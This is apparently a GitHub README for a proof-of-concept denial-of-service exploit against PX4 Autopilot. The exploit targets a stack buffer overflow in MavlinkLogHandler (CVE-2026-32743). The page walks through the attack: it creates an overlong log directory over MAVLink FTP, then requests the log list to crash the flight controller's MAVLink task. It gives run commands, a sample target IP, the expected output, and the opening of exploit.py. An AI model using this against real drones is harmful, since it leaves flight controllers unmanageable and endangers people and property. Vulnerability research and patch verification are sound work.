mbanyamer/cve-2026-32743-px4-autopilot-mavlinkloghandler-stack-buffer-overflow-dos-Ein Remote-Denial-of-Service-Exploit (DoS) für PX4-Autopilot-Versionen ≤1.17.0-rc2 über einen stackbasierten Pufferüberlauf im MavlinkLogHandler.
-orange){kind=icon}
-blue){kind=icon}
CVE-2026-32743 ist ein stack-basierter Pufferüberlauf im MavlinkLogHandler der PX4 Autopilot-Versionen ≤1.17.0-rc2.
Der LogEntry.filepath-Puffer ist nur 60 Bytes groß, aber sscanf() parst Log-Verzeichnispfade ohne Breitenangabe.
Ein Angreifer mit MAVLink-Linkzugriff kann:
/fs/microsd/log/ erstellen.MAV_CMD_REQUEST_LOG_LIST anfordern.MavlinkLogHandler kopiert den langen Pfad in den 60-Byte-Puffer → Stack-Overflow.Behoben in: Commit 616b25a (Breitenangabe zu sscanf hinzugefügt).
sequenceDiagram
participant Attacker
participant PX4 as PX4 Flight Controller
participant SD as SD Card (/fs/microsd/log/)
Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
PX4-->>Attacker: Heartbeat (system/component IDs)
Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
PX4->>SD: Create directory (named 70×'A')
SD-->>PX4: OK
Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
PX4->>PX4: MavlinkLogHandler::list() reads log directory
PX4->>PX4: sscanf(path, "%s", LogEntry.filepath) ← NO width limit!
Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable
1.17.0-rc2 mit eingehängter SD-Karte (Logs werden in /fs/microsd/log/ gespeichert).14550).pymavlink:
pip install pymavlink
git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]
| Argument | Beschreibung | Standard |
|---|---|---|
target_ip | IP-Adresse des Flight Controllers | erforderlich |
--port | MAVLink-UDP-Port | 14550 |
python3 exploit.py 192.168.1.10 --port 14550
Erwartete Ausgabe (erfolgreicher DoS):
[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
# Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ Exploit : CVE-2026-32743 ║
║ Target : PX4 Autopilot • MAVLink • Log Handler ║
║ ║
║ Status : ACTIVE ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2
def send_ftp_command(mav, seq, payload):
msg = mav.file_transfer_protocol_encode(
target_system=mav.target_system,
target_component=mav.target_component,
payload=payload
)
mav.mav.send(msg)